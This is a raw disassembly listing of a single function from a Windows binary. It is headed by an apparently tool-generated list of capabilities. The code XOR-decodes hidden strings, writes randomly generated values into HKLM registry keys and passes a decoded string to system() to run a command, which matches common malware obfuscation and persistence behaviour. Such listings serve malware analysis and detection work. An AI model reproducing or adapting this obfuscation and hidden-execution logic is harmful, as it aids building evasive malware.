Function at 0x1400bfb90
Capabilities:
Encode data using base64
Encode data using xor
Encrypt data using speck
Execute command
Generate random numbers using a mersenne twister
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1500]
mov eax, 0x1600
call fcn.140147310
sub rsp, rax
movaps xmmword [rsp + 0x15f0], xmm6
movaps xmmword [rsp + 0x15e0], xmm7
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rbp + 0x14d0], rax
xor ebx, ebx
mov dword [rbp - 0x70], ebx
movups xmm0, xmmword [0x140172230]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140172240]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140172250]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140172260]
movups xmmword [rbp], xmm1
movsd xmm0, qword [0x140172270]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140172278]
mov dword [rbp + 0x18], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x1c], al
mov r8d, ebx
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1400bfd75
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400bfc70
cmp r8d, 0x4d
jge 0x1400bfdb0
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400bfd80
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov r14d, 1
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400bfe00
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov r8d, 2
lea rdx, [0x140171be8]
lea rcx, [rbp - 0x50]
call fcn.140059140
nop
mov r13d, 5
mov edi, r13d
nop dword [rax]
movups xmm0, xmmword [str.TTTTTTT____4444____444O]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1401729b0]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1401729b8]
mov word [rsp + 0x58], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x5a], al
mov r8d, ebx
cmp esi, 2
jl 0x1400bffd5
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400bfed0
cmp r8d, 0x1b
jge 0x1400c0010
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400bffe0
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c0047
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c0030
shr rax, 0x20
movsx ecx, byte [rsp + rax + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
cmp rdx, r8
jae 0x1400c0082
lea rcx, [rdx + 1]
mov qword [rbp - 0x40], rcx
lea rcx, [rbp - 0x50]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x50]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x1400c008f
movzx r9d, al
lea rcx, [rbp - 0x50]
call fcn.140060700
sub rdi, 1
jne 0x1400bfe60
mov r12d, 6
mov esi, r12d
movzx r15d, byte [0x140172b02]
movzx edi, word [0x140172b00]
movsd xmm0, qword [0x140172af8]
nop dword [rax]
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], di
movzx ecx, r15b
mov byte [rbp - 0x70], Ordinal_50
xor byte [rbp - 0x6f], 0x36
xor byte [rbp - 0x6e], 0x37
xor byte [rbp - 0x6d], 0x38
xor byte [rbp - 0x6c], 0x39
xor byte [rbp - 0x6b], 0x3a
xor byte [rbp - 0x6a], 0x3b
xor byte [rbp - 0x69], 0x3c
movzx eax, dil
xor al, 0x3d
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], 0x3e
xor cl, 0x3f
mov byte [rbp - 0x66], cl
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, r13d
ja 0x1400c013a
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, r12d
jb 0x1400c0120
shr rax, 0x20
movzx r9d, byte [rbp + rax - 0x70]
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
cmp rcx, rdx
jae 0x1400c0171
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c0191
lea rcx, [rbp - 0x50]
call fcn.140060700
movzx r15d, byte [0x140172b02]
movzx edi, word [0x140172b00]
movsd xmm0, qword [0x140172af8]
sub rsi, 1
jne 0x1400c00c0
lea r10, [rbp - 0x50]
movsd xmm0, qword [str.fSEQXVuIPZ2A]
mov eax, dword [0x140173d60]
movsd qword [rbp - 0x70], xmm0
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140173d64]
mov byte [rbp - 0x64], al
cmp qword [rbp - 0x38], 0xf
jbe 0x1400c01ca
mov r10, qword [rbp - 0x50]
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x1400c02db
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fSEQXVuIPZ2A]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c02f0
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c034f
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d700
movups xmm0, xmmword [str.weniyazz]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1401734a0]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1401734b0]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1401734c0]
movups xmmword [rbp], xmm1
movsd xmm0, qword [0x1401734d0]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1401734d8]
mov dword [rbp + 0x18], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x1c], al
mov r8d, ebx
cmp edi, 2
jl 0x1400c04e5
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400c03e0
cmp r8d, 0x4d
jge 0x1400c0520
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400c04f0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c0560
mov dword [rbp + 0x140], 0x270
movzx eax, word [0x140174054]
mov word [rbp - 0x70], ax
cmp byte [0x140174055], 0
je 0x1400c05aa
mov byte [rbp - 0x70], 0x53
xor byte [rbp - 0x6f], 0x36
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400c05c4
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140059140
nop
nop dword [rax]
movups xmm0, xmmword [str.TTTTTTT____4444____444O]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1401729b0]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1401729b8]
mov word [rsp + 0x58], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x5a], al
mov r8d, ebx
cmp edi, 2
jl 0x1400c0755
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c0650
cmp r8d, 0x1b
jge 0x1400c0790
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400c0760
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c07c7
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c07b0
shr rax, 0x20
movsx ecx, byte [rsp + rax + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
cmp rdx, r8
jae 0x1400c0802
lea rcx, [rdx + 1]
mov qword [rbp - 0x40], rcx
lea rcx, [rbp - 0x50]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x50]
mov byte [rdx + rcx], al
mov byte [rdx + rcx + 1], 0
jmp 0x1400c080f
movzx r9d, al
lea rcx, [rbp - 0x50]
call fcn.140060700
sub r13, 1
jne 0x1400c05e0
movzx esi, byte [0x140172b02]
movzx edi, word [0x140172b00]
movsd xmm0, qword [0x140172af8]
nop
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], di
movzx ecx, sil
mov byte [rbp - 0x70], Ordinal_50
xor byte [rbp - 0x6f], 0x36
xor byte [rbp - 0x6e], 0x37
xor byte [rbp - 0x6d], 0x38
xor byte [rbp - 0x6c], 0x39
xor byte [rbp - 0x6b], 0x3a
xor byte [rbp - 0x6a], 0x3b
xor byte [rbp - 0x69], 0x3c
movzx eax, dil
xor al, 0x3d
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], 0x3e
xor cl, 0x3f
mov byte [rbp - 0x66], cl
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 5
ja 0x1400c08aa
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 6
jb 0x1400c0890
shr rax, 0x20
movzx r9d, byte [rbp + rax - 0x70]
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
cmp rcx, rdx
jae 0x1400c08e1
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c0900
lea rcx, [rbp - 0x50]
call fcn.140060700
movzx esi, byte [0x140172b02]
movzx edi, word [0x140172b00]
movsd xmm0, qword [0x140172af8]
sub r12, 1
jne 0x1400c0830
lea r10, [rbp - 0x50]
movsd xmm0, qword [str.fSEQXVuIPZ2A]
mov eax, dword [0x140173d60]
movsd qword [rbp - 0x70], xmm0
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140173d64]
mov byte [rbp - 0x64], al
cmp qword [rbp - 0x38], 0xf
jbe 0x1400c0939
mov r10, qword [rbp - 0x50]
mov r8d, ebx
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp r13d, 2
jl 0x1400c0a4c
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fSEQXVuIPZ2A]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c0a60
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c0abf
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d700
movups xmm0, xmmword [0x140173850]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140173860]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140173870]
movups xmmword [rbp - 0x10], xmm0
mov eax, dword [0x140173880]
mov dword [rbp], eax
movzx eax, byte [0x140173884]
mov byte [rbp + 4], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0c45
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c0b40
cmp r8d, 0x35
jge 0x1400c0c80
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400c0c50
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140173418]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140173428]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140173438]
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x140173448]
movsd qword [rbp], xmm0
movzx eax, byte [0x140173450]
mov byte [rbp + 8], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0e05
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
